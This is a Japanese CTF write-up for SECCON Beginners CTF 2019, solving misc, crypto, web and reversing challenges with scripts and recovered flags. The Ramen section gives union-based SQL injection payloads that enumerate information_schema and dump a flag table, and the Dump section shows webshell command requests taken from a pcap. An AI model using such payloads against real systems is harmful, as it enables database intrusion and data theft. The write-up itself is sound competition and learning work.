SECCON Beginners CTF 2019 Writeup

この大会は2019/5/25 15:00(JST)~2019/5/26 15:00(JST)に開催されました。
今回は個人で参戦。結果は2270点で666チーム中34位でした。
解けた問題をWriteupとして書いておきます。

[warmup] Welcome (Misc)

freenodeで#seccon-beginners-ctfチャネルに入ると、フラグが書いてあった。

15:02 *topic : 競技に関する質問等はこちらで受け付けます FLAG: ctf4b{welcome_to_seccon_beginners_ctf}
ctf4b{welcome_to_seccon_beginners_ctf}

containers (Misc)

foremostでカービングする。

$ foremost containers
Processing: containers
|*|

pngがたくさん抽出でき、1文字ずつ画像になっていて、順に結合するとフラグになる。

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Dump (Misc)

添付ファイルはpcapファイルだった。Wiresharkで開き、httpでフィルタリングする。それぞれ以下の内容になっている。

■No.12
GET /webshell.php?cmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1\r\n
-> ls -l /home/ctf4b/flag

■No.14
-rw-r--r-- 1 ctf4b ctf4b 767400 Apr  7 19:46 /home/ctf4b/flag\n

■No.22
GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1\r\n
-> hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag

■No.3193
バイナリを8進数で表現して並べている。

flagファイルを復元してみる。

with open('3193.bin', 'r') as f:
    o_data = f.read().rstrip()

codes = o_data.replace('\n', ' ').split(' ')

flag = ''
for code in codes:
    flag += chr(int(code, 8))

with open('flag', 'wb') as f:
    f.write(flag)
$ file flag
flag: gzip compressed data, last modified: Sun Apr  7 10:46:34 2019, from Unix
$ mv flag flag.gz
$ gzip -d flag.gz
$ file flag
flag: POSIX tar archive
$ mv flag flag.tar
$ tar xvf flag.tar 
./._flag.jpg
flag.jpg

flag.jpgにフラグが書いてあった。
f:id:satou-y:20190527215033j:plain

ctf4b{hexdump_is_very_useful}

Sliding puzzle (Misc)

3x3のスライドパズルを繰り返し解くと最後にフラグが表示されるようだ。https://github.com/fabianokafor369/Sliding-puzzle-solver/blob/master/main.pyを流用する。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def place_heuristic(state):
    if type(state) == str:
        state = eval(state)
    elif type(state) == list:
        pass

    flat_statelist = [item for sublist in state for item in sublist]
    misplacedcounter = 0
    for element in flat_statelist:
        if flat_statelist.index(element) != element:
            misplacedcounter += 1
    return misplacedcounter

def Manhattan_heuristic(state):
    if type(state) == str:
        state = eval(state)
    elif type(state) == list:
        pass
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))
    mandistance = 0

    for element in flat_statelist:
        distance = abs(flat_goallist.index(element) - flat_statelist.index(element))
        xcoord, ycoord = distance//len(state[0]), distance%len(state[0])
        mandistance += xcoord + ycoord
    return mandistance

def myheuristic(state):
    if type(state) == str:
        state = eval(state)
    elif type(state) == list:
        pass
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))
    mydistance = 0

    for i in range(len(state[0])):
        for j in state[i]:
            for k in state[i]:
                if j and k in goalstate(state)[i] and (flat_goallist.index(j) - flat_statelist.index(j) > 0 and flat_goallist.index(k) - flat_statelist.index(k) < 0) or (flat_goallist.index(j) - flat_statelist.index(j) < 0 and flat_goallist.index(k) - flat_statelist.index(k) > 0):
                    mydistance += 2
    return mydistance/2 + Manhattan_heuristic(state)

heuristics = [place_heuristic, Manhattan_heuristic, myheuristic]

def goalstate(state):
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))
    goal = []
    glstcounter = 0
    for j in range(len(state[0])):
        goal.append(range(glstcounter, glstcounter + len(state[0])))
        glstcounter += len(state[0])
    return goal

def moves(inputs, n):
    storage  =  []
    inputs = str(inputs)
    move = eval(inputs)

    i = 0
    while 0 not in move[i]: i += 1
    j = move[i].index(0);  # blank space (zero)

    if i > 0:
        move[i][j], move[i - 1][j] = move[i - 1][j], move[i][j];
        storage.append(str(move))
        move[i][j], move[i - 1][j] = move[i - 1][j], move[i][j];

    if i < n-1:
        move[i][j], move[i + 1][j] = move[i + 1][j], move[i][j]
        storage.append(str(move))
        move[i][j], move[i + 1][j] = move[i + 1][j], move[i][j]

    if j > 0:
        move[i][j], move[i][j - 1] = move[i][j - 1], move[i][j]
        storage.append(str(move))
        move[i][j], move[i][j - 1] = move[i][j - 1], move[i][j]

    if j < n-1:
        move[i][j], move[i][j + 1] = move[i][j + 1], move[i][j]
        storage.append(str(move))
        move[i][j], move[i][j + 1] = move[i][j + 1], move[i][j]

    return storage

def Astar(start, finish, heuristic):
    n = len(start)
    start , finish = str(start), str(finish)
    pathstorage = [[heuristic(start), start]]  # optional: heuristic_1
    expanded = []
    expanded_nodes = 0
    while pathstorage:
        i = 0
        for j in range(1, len(pathstorage)):
            if pathstorage[i][0] > pathstorage[j][0]:
                i = j
        path = pathstorage[i]
        pathstorage = pathstorage[:i] + pathstorage[i + 1:]
        finishnode = path[-1]
        if finishnode == finish:
            break
        if finishnode in expanded: continue
        for b in moves(finishnode, n):
            if b in expanded: continue
            newpath = [path[0] + heuristic(b) - heuristic(finishnode)] + path[1:] + [b]
            pathstorage.append(newpath)
            expanded.append(finishnode)
        expanded_nodes += 1
    return expanded_nodes,  len(path), path

def get_sp_pos(matrix):
    for i in range(len(matrix)):
        for j in range(len(matrix[0])):
            if matrix[i][j] == 0:
                return i, j

def solvePuzzle(n, state, heuristic, prnt):
    flat_statelist = [item for sublist in state for item in sublist]
    flat_goallist = range(0, len(flat_statelist))

    if len(flat_statelist) != n**2:
        steps, frontierSize, err = 0, 0, -1
    elif True in [i not in flat_statelist for i in range(0,n**2-1)]:
        steps, frontierSize, err = 0, 0, -1
    else:
        steps, frontierSize, solutions = Astar(state,goalstate(state), heuristic)
        err = 0

    ope = ''
    if prnt == True:
        pre = (-1, -1)
        for sol in solutions[1:]:
            if pre[0] != -1:
                cur = get_sp_pos(eval(sol))
                if cur[0] == pre[0]:
                    if cur[1] < pre[1]:
                        ope += '3,'
                    else:
                        ope += '1,'
                else:
                    if cur[0] < pre[0]:
                        ope += '0,'
                    else:
                        ope += '2,'
                pre = cur
            else:
                pre = get_sp_pos(eval(sol))
    return ope[:-1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('133.242.50.201', 24912))

for i in range(100):
    print 'Round %d' % (i+1)
    puzzle = []
    data = recvuntil(s, '\n').rstrip()
    print data
    for j in range(3):
        data = recvuntil(s, '\n').rstrip()
        print data
        puzzle.append(map(int, data[2:-2].split(' | ')))
    data = recvuntil(s, '\n').rstrip()
    print data
    ans = solvePuzzle(3, puzzle, heuristics[2], True)
    print ans
    s.sendall(ans + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

        :
Round 100
----------------
| 01 | 00 | 05 |
| 03 | 02 | 04 |
| 06 | 07 | 08 |
----------------
2,1,0,3,3

[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}

[warmup] So Tired (Crypto)

base64デコードすると、zlibデータになっている。さらに展開すると、base64になっている。これを繰り返していくと、フラグにたどりつきそう。

import zlib

with open('encrypted.txt', 'r') as f:
    data = f.read()

i = 1
while True:
    print 'Round %d' % i
    try:
        data = zlib.decompress(data.decode('base64'))
    except:
        break
    i += 1

print data
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Party (Crypto)

スクリプトの処理概要は以下の通り。

coeff = [flag, 512bitランダム整数, 512bitランダム整数]
party = [512bitランダム整数, 512bitランダム整数, 512bitランダム整数]

partyの各値について以下を出力
・coeff[0] * pow(party[i], 0) + coeff[1] * pow(party[i], 1) + coeff[2] * pow(party[i], 2)

三元方程式になる。これを解くとフラグがわかる。

from sympy import *
from Crypto.Util.number import *

M = 3

with open('encrypted', 'r') as f:
    output = eval(f.read())

party = [output[i][0] for i in range(M)]
val = [output[i][1] for i in range(M)]

x = Symbol('x')
y = Symbol('y')
z = Symbol('z')

eq = []
for i in range(M):
    eq.append(pow(party[i], 0) * x + pow(party[i], 1) * y + pow(party[i], 2) * z - val[i])
ans = solve(eq)
secret = ans[x]

flag = long_to_bytes(secret)
print flag
ctf4b{just_d0ing_sh4mir}

Go RSA (Crypto)

flagの暗号化した数値を表示し、指定した数値で暗号化した結果を3回表示した後、Dの値を表示している。2と4と16を指定し、nを算出する。あとは普通に復号すれば、フラグが得られる。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    gcd = b
    return gcd, x, y

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('133.242.17.175', 1337))

data = recvuntil(s, '\n').rstrip()
print data
c = int(data.split(' ')[-1])

try_rsa_enc = []
for m in [2, 4, 16]:
    data = recvuntil(s, '> ').rstrip()
    print data + str(m)
    s.sendall(str(m) + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    try_rsa_enc.append(int(data))

diff1 = (try_rsa_enc[0]) ** 2 - try_rsa_enc[1]
diff2 = (try_rsa_enc[1]) ** 2 - try_rsa_enc[2]

n, _, _ = egcd(diff1, diff2)

for i in range(100, 1, -1):
    if n % i == 0:
        n /= i
        break

data = recvuntil(s, '\n').rstrip()
print data
d = int(data.split(' ')[-1])

m = pow(c, d, n)
flag = long_to_bytes(m)
print flag
ctf4b{f1nd_7he_p4ramet3rs}

Bit Flip (Crypto)

フラグ全体の長さの下1/4のどこかのbitを反転して、暗号化した結果を表示する。

$ nc 133.242.17.175 31337
67934674480415409445912596144472990191947930001733201255786727204148538647908805395531997246928556767017832997940891223515738956921085187535417250023159082589413865327698241395135016557982678511049939226665928693127996358607612902806119769115103069944013822510255298471351806834825914643752644351104525745545
$ nc 133.242.17.175 31337
24846327963537398665326250105820211853540262705563513452165770055157595584227601880087585656348133800807610978266985906268770858609939565220321313107360537391879889839508253377206038160961583521199317745734473887417662273181421001196964299122753375172706482105997513901002415779269706928886427586577522119035

Short Pad attackとRelated Message attackを組み合わせて復号してみる。

# solve.sage
def short_pad_attack(c1, c2, e, n):
    PRxy.<x,y> = PolynomialRing(Zmod(n))
    PRx.<xn> = PolynomialRing(Zmod(n))
    PRZZ.<xz,yz> = PolynomialRing(Zmod(n))

    g1 = x^e - c1
    g2 = (x+y)^e - c2

    q1 = g1.change_ring(PRZZ)
    q2 = g2.change_ring(PRZZ)

    h = q2.resultant(q1)
    h = h.univariate_polynomial()
    h = h.change_ring(PRx).subs(y=xn)
    h = h.monic()

    kbits = n.nbits()//(2*e*e)
    diff = h.small_roots(X=2^kbits, beta=0.5)[0]  # find root < 2^kbits with factor >= n^0.5

    return diff

def related_message_attack(c1, c2, diff, e, n):
    PRx.<x> = PolynomialRing(Zmod(n))
    g1 = x^e - c1
    g2 = (x+diff)^e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    return -gcd(g1, g2)[0]

N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
e = 3
c1 = 67934674480415409445912596144472990191947930001733201255786727204148538647908805395531997246928556767017832997940891223515738956921085187535417250023159082589413865327698241395135016557982678511049939226665928693127996358607612902806119769115103069944013822510255298471351806834825914643752644351104525745545
c2 = 24846327963537398665326250105820211853540262705563513452165770055157595584227601880087585656348133800807610978266985906268770858609939565220321313107360537391879889839508253377206038160961583521199317745734473887417662273181421001196964299122753375172706482105997513901002415779269706928886427586577522119035

diff = short_pad_attack(c1, c2, e, N)
m = related_message_attack(c1, c2, diff, e, N)

flag = ('%x' % m).decode('hex')
print flag

実行結果は以下の通り。

ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUIMY
ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge}

[warmup] Ramen (Web)

名前に含まれている文字を指定すると検索でき、unionを使ったSQLインジェクションができる。

■太郎' union select 1,2 -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
1	2

■' union select table_schema, table_name from information_schema.tables -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎	せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎	せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
information_schema	CHARACTER_SETS
information_schema	COLLATIONS
information_schema	COLLATION_CHARACTER_SET_APPLICABILITY
information_schema	COLUMNS
information_schema	COLUMN_PRIVILEGES
information_schema	ENGINES
information_schema	EVENTS
information_schema	FILES
information_schema	GLOBAL_STATUS
information_schema	GLOBAL_VARIABLES
information_schema	KEY_COLUMN_USAGE
information_schema	OPTIMIZER_TRACE
information_schema	PARAMETERS
information_schema	PARTITIONS
information_schema	PLUGINS
information_schema	PROCESSLIST
information_schema	PROFILING
information_schema	REFERENTIAL_CONSTRAINTS
information_schema	ROUTINES
information_schema	SCHEMATA
information_schema	SCHEMA_PRIVILEGES
information_schema	SESSION_STATUS
information_schema	SESSION_VARIABLES
information_schema	STATISTICS
information_schema	TABLES
information_schema	TABLESPACES
information_schema	TABLE_CONSTRAINTS
information_schema	TABLE_PRIVILEGES
information_schema	TRIGGERS
information_schema	USER_PRIVILEGES
information_schema	VIEWS
information_schema	INNODB_LOCKS
information_schema	INNODB_TRX
information_schema	INNODB_SYS_DATAFILES
information_schema	INNODB_LOCK_WAITS
information_schema	INNODB_SYS_TABLESTATS
information_schema	INNODB_CMP
information_schema	INNODB_METRICS
information_schema	INNODB_CMP_RESET
information_schema	INNODB_CMP_PER_INDEX
information_schema	INNODB_CMPMEM_RESET
information_schema	INNODB_FT_DELETED
information_schema	INNODB_BUFFER_PAGE_LRU
information_schema	INNODB_SYS_FOREIGN
information_schema	INNODB_SYS_COLUMNS
information_schema	INNODB_SYS_INDEXES
information_schema	INNODB_FT_DEFAULT_STOPWORD
information_schema	INNODB_SYS_FIELDS
information_schema	INNODB_CMP_PER_INDEX_RESET
information_schema	INNODB_BUFFER_PAGE
information_schema	INNODB_CMPMEM
information_schema	INNODB_FT_INDEX_TABLE
information_schema	INNODB_FT_BEING_DELETED
information_schema	INNODB_SYS_TABLESPACES
information_schema	INNODB_FT_INDEX_CACHE
information_schema	INNODB_SYS_FOREIGN_COLS
information_schema	INNODB_SYS_TABLES
information_schema	INNODB_BUFFER_POOL_STATS
information_schema	INNODB_FT_CONFIG
app	flag
app	members

■' union select table_name, column_name from information_schema.columns where table_name='flag' -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎	せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎	せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
flag	flag

■' union select 1, flag from app.flag -- -

名前	一言
せくこん太郎	1970 年よりラーメン道一本。美味しいラメーンを作ることが生きがい。
せくこん次郎	せくこん太郎の弟。好きな食べものはコッペパン。
せくこん三郎	せくこん次郎の弟。食材本来の味を引き出すことに全力を注ぐ。
1	ctf4b{a_simple_sql_injection_with_union_select}
ctf4b{a_simple_sql_injection_with_union_select}

katsudon (Web)

https://katsudon.quals.beginners.seccon.jp/flagにアクセスすると、以下のように書いてある。

BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a

"--" の左側をBase64デコードしてみる。

>>> 'BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU'.decode('base64')
'\x04\x08I"%ctf4b{K33P_Y0UR_53CR37_K3Y_B453}\x06:\x06ET'

フラグが含まれていた。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

[warmup] Seccompare (Reversing)

$ objdump -d -M intel seccompare > seccompare.asm
$ cat seccompare.asm
         :
00000000004005e7 <main>:
  4005e7:	55                   	push   rbp
  4005e8:	48 89 e5             	mov    rbp,rsp
  4005eb:	48 83 ec 40          	sub    rsp,0x40
  4005ef:	89 7d cc             	mov    DWORD PTR [rbp-0x34],edi
  4005f2:	48 89 75 c0          	mov    QWORD PTR [rbp-0x40],rsi
  4005f6:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
  4005fd:	00 00 
  4005ff:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  400603:	31 c0                	xor    eax,eax
  400605:	83 7d cc 01          	cmp    DWORD PTR [rbp-0x34],0x1
  400609:	7f 25                	jg     400630 <main+0x49>
  40060b:	48 8b 45 c0          	mov    rax,QWORD PTR [rbp-0x40]
  40060f:	48 8b 00             	mov    rax,QWORD PTR [rax]
  400612:	48 89 c6             	mov    rsi,rax
  400615:	48 8d 3d 68 01 00 00 	lea    rdi,[rip+0x168]        # 400784 <_IO_stdin_used+0x4>
  40061c:	b8 00 00 00 00       	mov    eax,0x0
  400621:	e8 ba fe ff ff       	call   4004e0 <printf@plt>
  400626:	b8 01 00 00 00       	mov    eax,0x1
  40062b:	e9 b1 00 00 00       	jmp    4006e1 <main+0xfa>
  400630:	c6 45 d0 63          	mov    BYTE PTR [rbp-0x30],0x63
  400634:	c6 45 d1 74          	mov    BYTE PTR [rbp-0x2f],0x74
  400638:	c6 45 d2 66          	mov    BYTE PTR [rbp-0x2e],0x66
  40063c:	c6 45 d3 34          	mov    BYTE PTR [rbp-0x2d],0x34
  400640:	c6 45 d4 62          	mov    BYTE PTR [rbp-0x2c],0x62
  400644:	c6 45 d5 7b          	mov    BYTE PTR [rbp-0x2b],0x7b
  400648:	c6 45 d6 35          	mov    BYTE PTR [rbp-0x2a],0x35
  40064c:	c6 45 d7 74          	mov    BYTE PTR [rbp-0x29],0x74
  400650:	c6 45 d8 72          	mov    BYTE PTR [rbp-0x28],0x72
  400654:	c6 45 d9 31          	mov    BYTE PTR [rbp-0x27],0x31
  400658:	c6 45 da 6e          	mov    BYTE PTR [rbp-0x26],0x6e
  40065c:	c6 45 db 67          	mov    BYTE PTR [rbp-0x25],0x67
  400660:	c6 45 dc 73          	mov    BYTE PTR [rbp-0x24],0x73
  400664:	c6 45 dd 5f          	mov    BYTE PTR [rbp-0x23],0x5f
  400668:	c6 45 de 31          	mov    BYTE PTR [rbp-0x22],0x31
  40066c:	c6 45 df 73          	mov    BYTE PTR [rbp-0x21],0x73
  400670:	c6 45 e0 5f          	mov    BYTE PTR [rbp-0x20],0x5f
  400674:	c6 45 e1 6e          	mov    BYTE PTR [rbp-0x1f],0x6e
  400678:	c6 45 e2 30          	mov    BYTE PTR [rbp-0x1e],0x30
  40067c:	c6 45 e3 74          	mov    BYTE PTR [rbp-0x1d],0x74
  400680:	c6 45 e4 5f          	mov    BYTE PTR [rbp-0x1c],0x5f
  400684:	c6 45 e5 65          	mov    BYTE PTR [rbp-0x1b],0x65
  400688:	c6 45 e6 6e          	mov    BYTE PTR [rbp-0x1a],0x6e
  40068c:	c6 45 e7 30          	mov    BYTE PTR [rbp-0x19],0x30
  400690:	c6 45 e8 75          	mov    BYTE PTR [rbp-0x18],0x75
  400694:	c6 45 e9 67          	mov    BYTE PTR [rbp-0x17],0x67
  400698:	c6 45 ea 68          	mov    BYTE PTR [rbp-0x16],0x68
  40069c:	c6 45 eb 7d          	mov    BYTE PTR [rbp-0x15],0x7d
               :

1文字ずつ比較している。これをASCIIコードとして文字にする。

codes = [0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x35, 0x74, 0x72, 0x31, 0x6e,
    0x67, 0x73, 0x5f, 0x31, 0x73, 0x5f, 0x6e, 0x30, 0x74, 0x5f, 0x65, 0x6e,
    0x30, 0x75, 0x67, 0x68, 0x7d]

flag = ''
for code in codes:
    flag += chr(code)

print flag
ctf4b{5tr1ngs_1s_n0t_en0ugh}

Leakage (Reversing)

Ghidraで解析する。is_correct関数は以下のようになっている。

undefined8 is_correct(char *pcParm1)

{
  char cVar1;
  size_t sVar2;
  undefined8 uVar3;
  int local_c;
  
  sVar2 = strlen(pcParm1);
  if (sVar2 == 0x22) {
    local_c = 0;
    while (local_c < 0x22) {
      cVar1 = convert((ulong)(byte)enc_flag[(long)local_c]);
      if (cVar1 != pcParm1[(long)local_c]) {
        return 0;
      }
      local_c = local_c + 1;
    }
    uVar3 = 1;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

これを見ると、フラグの長さは0x22(=34)であることがわかる。convert関数は複雑だが、フラグを先頭から1文字ずつ検証していることがわかる。
そこでgdbでconvertの後の値を$rbp-5の値を見て確認していく。

$ gdb -q ./leakage
Reading symbols from ./leakage...(no debugging symbols found)...done.
gdb-peda$ b *0x400643
Breakpoint 1 at 0x400643
gdb-peda$ r ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa}
Starting program: /mnt/hgfs/Shared/leakage ctf4b{aaaaaaaaaaaaaaaaaaaaaaaaaaa}
        :
gdb-peda$ c
        :
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x61 (b'a')
RBX: 0x0 
RCX: 0x0 
RDX: 0x6 
RSI: 0x174d4705 
RDI: 0x7745f3cb 
RBP: 0x7fffffffda60 --> 0x7fffffffda80 --> 0x400bc0 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffda40 --> 0x1 
RIP: 0x400643 (<is_correct+92>:	cmp    BYTE PTR [rbp-0x5],al)
R8 : 0xb09965ff 
R9 : 0xc1f127cb 
R10: 0xf854b3c5 
R11: 0x14ba3627 
R12: 0x400500 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdb60 --> 0x2 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
    context [reg,code,stack,all] [code/stack length]


Breakpoint 1, 0x0000000000400643 in is_correct ()
gdb-peda$ x/b $rbp-5
0x7fffffffda5b:	0x6c ★"l"のASCIIコード

これを繰り返し、1文字ずつ割り出す。

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation (Reversing)

Ghidraで解析する。is_correct関数は複雑な処理になっていて、1文字ずつ確認するのは難しいので、angrで解く。

import angr

p = angr.Project('./linear_operation')
initial_state = p.factory.entry_state()
pg = p.factory.simgr(initial_state)
a = pg.explore(find=0x40cf78, avoid=0x40cf86)
if len(a.found) > 0:
    s = a.found[0].state
    print '%r' % s.posix.dumps(0)
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}